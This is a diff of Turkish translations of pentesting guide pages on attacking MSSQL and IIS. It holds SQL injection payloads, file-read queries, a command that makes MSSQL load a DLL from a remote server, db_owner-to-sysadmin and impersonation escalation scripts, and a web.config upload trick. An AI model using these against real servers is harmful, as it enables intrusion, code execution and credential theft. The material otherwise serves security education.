||||||
|
|
||||||
Varsayılan olarak, `MSSQL`, **hesabın okuma erişimine sahip olduğu işletim sistemindeki herhangi bir dosyayı okuma** izni verir. Aşağıdaki SQL sorgusunu kullanabiliriz:
|
Varsayılan olarak, `MSSQL`, hesabın okuma iznine sahip olduğu işletim sistemindeki herhangi bir dosyayı **okumaya izin verir**. Aşağıdaki SQL sorgusunu kullanabiliriz:
|
||||||
```sql
|
```sql
|
||||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||||
```
|
```
|
||||||
Ancak, **`BULK`** seçeneği **`ADMINISTER BULK OPERATIONS`** veya **`ADMINISTER DATABASE BULK OPERATIONS`** iznini gerektirir.
|
Ancak **`BULK`** seçeneği **`ADMINISTER BULK OPERATIONS`** veya **`ADMINISTER DATABASE BULK OPERATIONS`** izni gerektirir.
|
||||||
```sql
|
```sql
|
||||||
# Check if you have it
|
# Check if you have it
|
||||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||||
```
|
```
|
||||||
#### Hata tabanlı SQLi vektörü:
|
#### SQLi için Error-based vektör:
|
||||||
```
|
```
|
||||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||||
```
|
```
|
||||||
### **RCE/Dosya okuma, betikleri çalıştırma (Python ve R)**
|
### **RCE/Dosya okuma ve script çalıştırma (Python ve R)**
|
||||||
|
|
||||||
MSSQL, **Python ve/veya R**'de **betikler çalıştırmanıza** izin verebilir. Bu kod, **xp_cmdshell** kullanarak komutları çalıştıran **farklı bir kullanıcı** tarafından yürütülecektir.
|
MSSQL size **Python ve/veya R scriptleri** çalıştırma imkânı verebilir. Bu kodlar, komutları çalıştırmak için **xp_cmdshell** kullanan kullanıcıdan **farklı bir kullanıcı** tarafından çalıştırılacaktır.
|
||||||
|
|
||||||
Çalışmayan bir **'R'** _"Hellow World!"_ **çalıştırma** örneği:
|
Örnek: **'R'** _"Hellow World!"_ çalıştırmayı deneme — **çalışmıyor**:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Birçok işlem gerçekleştirmek için yapılandırılmış python kullanma örneği:
|
Yapılandırılmış python kullanarak çeşitli işlemler gerçekleştirme örneği:
|
||||||
```sql
|
```sql
|
||||||
# Print the user being used (and execute commands)
|
# Print the user being used (and execute commands)
|
||||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||||
@ -348,12 +378,12 @@ print(sys.version)
|
|||||||
'
|
'
|
||||||
GO
|
GO
|
||||||
```
|
```
|
||||||
### Kayıt Defterini Oku
|
### Kayıt Defterini Okuma
|
||||||
|
|
||||||
Microsoft SQL Server, yalnızca ağla değil, aynı zamanda dosya sistemiyle ve hatta [**Windows Kayıt Defteri**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** ile etkileşimde bulunmanıza olanak tanıyan **birden fazla genişletilmiş saklı yordam** sağlar:**
|
Microsoft SQL Server, sadece ağa değil aynı zamanda [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) ile de etkileşim kurmanızı sağlayan **multiple extended stored procedures** sağlar:
|
||||||
|
|
||||||
| **Normal** | **Örnek Bilgisine Duyarlı** |
|
| **Regular** | **Instance-Aware** |
|
||||||
| -------------------------- | ------------------------------------ |
|
| --------------------------- | ------------------------------------ |
|
||||||
| sys.xp_regread | sys.xp_instance_regread |
|
| sys.xp_regread | sys.xp_instance_regread |
|
||||||
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
|
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
|
||||||
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
|
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
|
||||||
@ -373,17 +403,17 @@ Use master;
|
|||||||
EXEC sp_helprotect 'xp_regread';
|
EXEC sp_helprotect 'xp_regread';
|
||||||
EXEC sp_helprotect 'xp_regwrite';
|
EXEC sp_helprotect 'xp_regwrite';
|
||||||
```
|
```
|
||||||
Daha fazla örnek için [orijinal kaynağa](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) göz atın.
|
Daha fazla örnek için [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
||||||
|
|
||||||
### MSSQL Kullanıcı Tanımlı Fonksiyonu ile RCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
### RCE ile MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||||
|
|
||||||
MSSQL içinde özel fonksiyonlarla **bir .NET dll yüklemek mümkündür**. Ancak, bu **`dbo` erişimi gerektirir**, bu nedenle veritabanına **`sa` veya bir Yönetici rolü olarak** bağlanmanız gerekir.
|
MSSQL içinde özel fonksiyonlarla bir .NET dll yüklemek mümkündür. Ancak bu, `dbo` erişimi gerektirir; bu yüzden veritabanına `sa` veya bir Administrator rolü olarak bağlanmanız gerekir.
|
||||||
|
|
||||||
Bir örnek görmek için [bu bağlantıyı takip edin](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp).
|
[**Following this link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) bir örneği görmek için.
|
||||||
|
|
||||||
### `autoadmin_task_agents` ile RCE
|
### RCE ile `autoadmin_task_agents`
|
||||||
|
|
||||||
[**Bu gönderiye göre**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), uzaktan bir dll yüklemek ve MSSQL'in bunu çalıştırmasını sağlamak da mümkündür:
|
[ **to this post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) göre, uzaktaki bir dll yükleyip MSSQL'in onu aşağıdakine benzer bir şeyle çalıştırmasını sağlamak da mümkündür:
|
||||||
```sql
|
```sql
|
||||||
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
|
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
|
||||||
```
|
```
|
||||||
@ -437,15 +467,15 @@ public void Test()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### RCE için Diğer Yöntemler
|
### RCE için diğer yollar
|
||||||
|
|
||||||
Komut yürütme elde etmek için [genişletilmiş saklı yordamlar](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Derlemeleri](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Görevleri](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) ve [harici betikler](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) gibi diğer yöntemler de vardır.
|
Komut yürütme elde etmenin başka yöntemleri vardır; örneğin [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), ve [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||||
|
|
||||||
## MSSQL Yetki Yükseltme
|
## MSSQL Privilege Escalation
|
||||||
|
|
||||||
### db_owner'dan sysadmin'e
|
### db_owner'dan sysadmin'e
|
||||||
|
|
||||||
Eğer bir **normal kullanıcı** **admin** kullanıcısına ait **veritabanı** üzerinde **`db_owner`** rolü verilirse (örneğin **`sa`**) ve o veritabanı **`trustworthy`** olarak yapılandırılmışsa, o kullanıcı bu ayrıcalıkları **privesc** için kötüye kullanabilir çünkü orada oluşturulan **saklı yordamlar** sahibi (**admin**) olarak **çalıştırılabilir**.
|
Eğer bir **normal kullanıcı**'ya, **yöneticiye ait veritabanı** (örneğin **`sa`**) üzerinde **`db_owner`** rolü verilirse ve o veritabanı **`trustworthy`** olarak yapılandırılmışsa, o kullanıcı bu ayrıcalıkları **privesc** için kötüye kullanabilir; çünkü orada oluşturulan **stored procedures** sahibi (**admin**) olarak **execute** edebilir.
|
||||||
```sql
|
```sql
|
||||||
# Get owners of databases
|
# Get owners of databases
|
||||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||||
@ -479,19 +509,19 @@ EXEC sp_elevate_me
|
|||||||
--3. Verify your user is a sysadmin
|
--3. Verify your user is a sysadmin
|
||||||
SELECT is_srvrolemember('sysadmin')
|
SELECT is_srvrolemember('sysadmin')
|
||||||
```
|
```
|
||||||
Bir **metasploit** modülü kullanabilirsiniz:
|
Bir **metasploit** modülünü kullanabilirsiniz:
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||||
```
|
```
|
||||||
Ya da bir **PS** scripti:
|
Veya bir **PS** script:
|
||||||
```bash
|
```bash
|
||||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
|
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
|
||||||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||||||
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
||||||
```
|
```
|
||||||
### Diğer kullanıcıların taklit edilmesi
|
### Diğer kullanıcıların kimliğine bürünme
|
||||||
|
|
||||||
SQL Server, **`IMPERSONATE`** adında özel bir izin sunar; bu izin, **işlem yapan kullanıcının başka bir kullanıcının** veya oturum açma bilgisinin izinlerini almasına **imkan tanır**. Bu durum, bağlam sıfırlanana kadar veya oturum sona erene kadar geçerlidir.
|
SQL Server'ın **`IMPERSONATE`** adlı özel bir izni vardır; bu izin, **komutu çalıştıran kullanıcının başka bir kullanıcı veya login'in izinlerini üstlenmesine** bağlam sıfırlanana veya oturum sona erene kadar olanak tanır.
|
||||||
```sql
|
```sql
|
||||||
# Find users you can impersonate
|
# Find users you can impersonate
|
||||||
SELECT distinct b.name
|
SELECT distinct b.name
|
||||||
@ -512,9 +542,9 @@ enum_links
|
|||||||
use_link [NAME]
|
use_link [NAME]
|
||||||
```
|
```
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Eğer bir kullanıcıyı taklit edebiliyorsanız, hatta sysadmin değilse bile, **kullanıcının diğer** **veritabanlarına** veya bağlı sunuculara **erişimi olup olmadığını** kontrol etmelisiniz.
|
> Eğer bir kullanıcıyı taklit edebiliyorsanız, kullanıcı sysadmin olmasa bile, kullanıcının diğer **veritabanlarına** veya bağlı sunuculara **erişi olup olmadığını** kontrol etmelisiniz.
|
||||||
|
|
||||||
Unutmayın ki bir kez sysadmin olduğunuzda, diğer herhangi birini taklit edebilirsiniz:
|
Bir kez sysadmin olduğunuzda, herhangi bir başka kullanıcıyı taklit edebileceğinizi unutmayın:
|
||||||
```sql
|
```sql
|
||||||
-- Impersonate RegUser
|
-- Impersonate RegUser
|
||||||
EXECUTE AS LOGIN = 'RegUser'
|
EXECUTE AS LOGIN = 'RegUser'
|
||||||
@ -528,43 +558,45 @@ Bu saldırıyı bir **metasploit** modülü ile gerçekleştirebilirsiniz:
|
|||||||
```bash
|
```bash
|
||||||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||||
```
|
```
|
||||||
ve bir **PS** betiği ile:
|
veya bir **PS** betiği:
|
||||||
```bash
|
```bash
|
||||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||||
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
|
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
|
||||||
```
|
```
|
||||||
## MSSQL Kullanarak Süreklilik Sağlama
|
## Using MSSQL for Persistence
|
||||||
|
|
||||||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||||
|
|
||||||
## SQL Server Bağlı Sunuculardan Parola Çıkarma
|
## SQL Server Linked Servers'dan parolaların çıkarılması
|
||||||
|
|
||||||
Bir saldırgan, SQL Server Bağlı Sunucularının parolalarını SQL Örneklerinden çıkarabilir ve bunları düz metin olarak elde edebilir, bu da saldırgana hedef üzerinde daha büyük bir hakimiyet sağlamak için kullanılabilecek parolalar verir. Bağlı Sunucular için saklanan parolaları çıkarmak ve şifrelerini çözmek için gereken script [burada](https://www.richardswinbank.net/admin/extract_linked_server_passwords) bulunabilir.
|
Bir saldırgan, SQL Instances içindeki SQL Server Linked Servers parolalarını açık metin olarak çıkarabilir ve hedef üzerinde daha fazla tutunma sağlamak için kullanılabilecek parolalara erişebilir. Linked Servers için saklanan parolaları çıkarmak ve şifrelerini çözmek için kullanılan script'e [buradan](https://www.richardswinbank.net/admin/extract_linked_server_passwords) ulaşılabilir.
|
||||||
|
|
||||||
Bu istismar için bazı gereksinimlerin ve yapılandırmaların yapılması gerekmektedir. Öncelikle, makinede Yönetici haklarına sahip olmalısınız veya SQL Server Yapılandırmalarını yönetme yeteneğine sahip olmalısınız.
|
Bu exploit'in çalışması için bazı gereksinimler ve yapılandırmalar yapılmalıdır. Öncelikle, makinede Administrator haklarına sahip olmanız veya SQL Server Konfigürasyonlarını yönetme yeteneğiniz olması gerekir.
|
||||||
|
|
||||||
İzinlerinizi doğruladıktan sonra, aşağıdaki üç şeyi yapılandırmanız gerekir:
|
İzinlerinizi doğruladıktan sonra yapılandırmanız gereken üç şey vardır:
|
||||||
|
|
||||||
1. SQL Server örneklerinde TCP/IP'yi etkinleştirin;
|
1. SQL Server instance'larında TCP/IP'yi etkinleştirmek;
|
||||||
2. Bir Başlangıç parametresi ekleyin, bu durumda -T7806 olan bir izleme bayrağı eklenecektir.
|
2. Bir Start Up parametresi eklemek; bu durumda eklenen trace flag -T7806'dır.
|
||||||
3. Uzaktan yönetici bağlantısını etkinleştirin.
|
3. remote admin connection'ı etkinleştirmek.
|
||||||
|
|
||||||
Bu yapılandırmaları otomatikleştirmek için, [bu depo](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) gerekli scriptleri içermektedir. Her yapılandırma adımı için bir powershell scriptinin yanı sıra, depo ayrıca yapılandırma scriptlerini ve parolaların çıkarılması ve şifrelerinin çözülmesini birleştiren tam bir script de içermektedir.
|
Bu yapılandırmaları otomatikleştirmek için, gerekli script'leri içeren [this repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) mevcuttur. Her yapılandırma adımı için bir powershell script'in yanı sıra, yapılandırma script'lerini ve parolaların çıkarılması ile şifre çözümünü birleştiren tam bir script de repository'de bulunmaktadır.
|
||||||
|
|
||||||
Daha fazla bilgi için, bu saldırı ile ilgili aşağıdaki bağlantılara başvurun: [MSSQL Veritabanı Bağlantı Sunucusu Parolalarını Şifre Çözme](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
Bu saldırıyla ilgili daha fazla bilgi için şu linklere bakın: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||||
|
|
||||||
[SQL Server Özel Yönetici Bağlantısını Hata Ayıklama](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||||
|
|
||||||
## Yerel Yetki Yükseltme
|
## Local Privilege Escalation
|
||||||
|
|
||||||
|
MSSQL server'ı çalıştıran kullanıcı, **SeImpersonatePrivilege** ayrıcalık token'ını etkinleştirmiş olacaktır.\
|
||||||
|
Muhtemelen aşağıdaki 2 sayfadan birini takip ederek **escalate to Administrator** yapabileceksiniz:
|
||||||
|
|
||||||
MSSQL sunucusunu çalıştıran kullanıcı, **SeImpersonatePrivilege** yetki belirtecini etkinleştirmiş olacaktır.\
|
|
||||||
Muhtemelen bu 2 sayfadan birini takip ederek **Yöneticiye yükseltebileceksiniz**:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
|
../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../windows-hardening/windows-local-privilege-escalation/juicypotato.md
|
../../windows-hardening/windows-local-privilege-escalation/juicypotato.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
@ -575,6 +607,18 @@ Muhtemelen bu 2 sayfadan birini takip ederek **Yöneticiye yükseltebileceksiniz
|
|||||||
|
|
||||||
## Referanslar
|
## Referanslar
|
||||||
|
|
||||||
|
- [Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/)
|
||||||
|
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
||||||
|
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
||||||
|
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||||||
|
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||||
|
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||||
|
- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||||
|
- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||||
|
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||||
|
- [https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
|
||||||
|
|
||||||
|
|
||||||
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
||||||
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
||||||
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||||||
@ -585,7 +629,7 @@ Muhtemelen bu 2 sayfadan birini takip ederek **Yöneticiye yükseltebileceksiniz
|
|||||||
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||||
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
|
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
|
||||||
|
|
||||||
## HackTricks Otomatik Komutlar
|
## HackTricks Automatic Commands
|
||||||
```
|
```
|
||||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 1433 #Comma separated if there is more than one.
|
Port_Number: 1433 #Comma separated if there is more than one.
|
||||||
|
|||||||
@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Test edilebilir dosya uzantıları:
|
Test executable file extensions:
|
||||||
|
|
||||||
- asp
|
- asp
|
||||||
- aspx
|
- aspx
|
||||||
@ -11,7 +11,7 @@ Test edilebilir dosya uzantıları:
|
|||||||
|
|
||||||
## Dahili IP Adresi ifşası
|
## Dahili IP Adresi ifşası
|
||||||
|
|
||||||
302 aldığınız herhangi bir IIS sunucusunda, Host başlığını kaldırmayı ve HTTP/1.0 kullanmayı deneyebilirsiniz ve yanıtın içinde Location başlığı size dahili IP adresini gösterebilir:
|
Herhangi bir IIS sunucusunda 302 aldığınızda, Host header'ı kaldırmayı ve HTTP/1.0 kullanmayı deneyebilirsiniz; cevap içinde Location header dahili IP adresine işaret edebilir:
|
||||||
```
|
```
|
||||||
nc -v domain.com 80
|
nc -v domain.com 80
|
||||||
openssl s_client -connect domain.com:443
|
openssl s_client -connect domain.com:443
|
||||||
@ -27,21 +27,21 @@ Location: https://192.168.5.237/owa/
|
|||||||
Server: Microsoft-IIS/10.0
|
Server: Microsoft-IIS/10.0
|
||||||
X-FEServer: NHEXCHANGE2016
|
X-FEServer: NHEXCHANGE2016
|
||||||
```
|
```
|
||||||
## .config dosyalarını çalıştırma
|
## .config dosyalarını çalıştır
|
||||||
|
|
||||||
.config dosyalarını yükleyebilir ve bunları kod çalıştırmak için kullanabilirsiniz. Bunu yapmanın bir yolu, dosyanın sonuna bir HTML yorumu içinde kod eklemektir: [Örnek indirin](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||||
|
|
||||||
Bu güvenlik açığını istismar etmek için daha fazla bilgi ve teknikler [burada](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
More information and techniques to exploit this vulnerability [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||||||
|
|
||||||
## IIS Keşif Bruteforce
|
## IIS Discovery Bruteforce
|
||||||
|
|
||||||
Oluşturduğum listeyi indirin:
|
Oluşturduğum listeyi indir:
|
||||||
|
|
||||||
{{#file}}
|
{{#file}}
|
||||||
iisfinal.txt
|
iisfinal.txt
|
||||||
{{#endfile}}
|
{{#endfile}}
|
||||||
|
|
||||||
Aşağıdaki listelerin içeriklerini birleştirerek oluşturuldu:
|
Aşağıdaki listelerin içeriği birleştirilerek oluşturuldu:
|
||||||
|
|
||||||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
|
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
|
||||||
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
|
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
|
||||||
@ -50,59 +50,59 @@ Aşağıdaki listelerin içeriklerini birleştirerek oluşturuldu:
|
|||||||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
||||||
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
||||||
|
|
||||||
Bunu herhangi bir uzantı eklemeden kullanın, gerekli olan dosyalar zaten buna sahiptir.
|
Herhangi bir uzantı eklemeden kullanın; uzantıya ihtiyaç duyan dosyalar zaten gerekli uzantıya sahip.
|
||||||
|
|
||||||
## Yol Traversal
|
## Path Traversal
|
||||||
|
|
||||||
### Kaynak kodunu sızdırma
|
### Leaking source code
|
||||||
|
|
||||||
Tam yazımı kontrol edin: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
Detaylı yazıyı şurada inceleyin: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||||
|
|
||||||
> [!NOTE]
|
> [!TIP]
|
||||||
> Özet olarak, uygulamanın klasörlerinde "**assemblyIdentity**" dosyalarına ve "**namespaces**" referanslarına sahip birkaç web.config dosyası bulunmaktadır. Bu bilgilerle **çalıştırılabilir dosyaların nerede bulunduğunu** bilmek ve bunları indirmek mümkündür.\
|
> Özetle, uygulamanın klasörleri içinde "**assemblyIdentity**" dosyalarına ve "**namespaces**" referanslarına sahip birden fazla web.config dosyası bulunur. Bu bilgiyle **hangi yürütülebilir dosyaların nerede bulunduğunu** bilmek ve bunları indirmek mümkün.\
|
||||||
> **İndirilen Dll'lerden** ayrıca **yeni namespace'ler** bulmak ve yeni namespace'ler ve assemblyIdentity bulmak için web.config dosyasına erişmeye çalışmak mümkündür.\
|
